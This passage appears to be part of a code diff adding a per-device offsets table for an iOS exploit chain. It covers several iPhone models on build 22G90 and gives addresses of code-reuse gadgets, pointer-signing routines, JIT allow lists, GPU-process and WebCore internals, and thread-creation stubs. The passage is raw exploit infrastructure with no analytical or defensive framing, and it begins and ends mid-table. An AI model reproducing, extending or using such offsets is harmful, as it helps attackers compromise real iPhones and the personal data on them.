AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone15,5_22G90": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone16,1_22G90": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone16,2_22G90": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone17,1_22G90": { + __pthread_head : 0x26a00c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257a1fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27270c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + 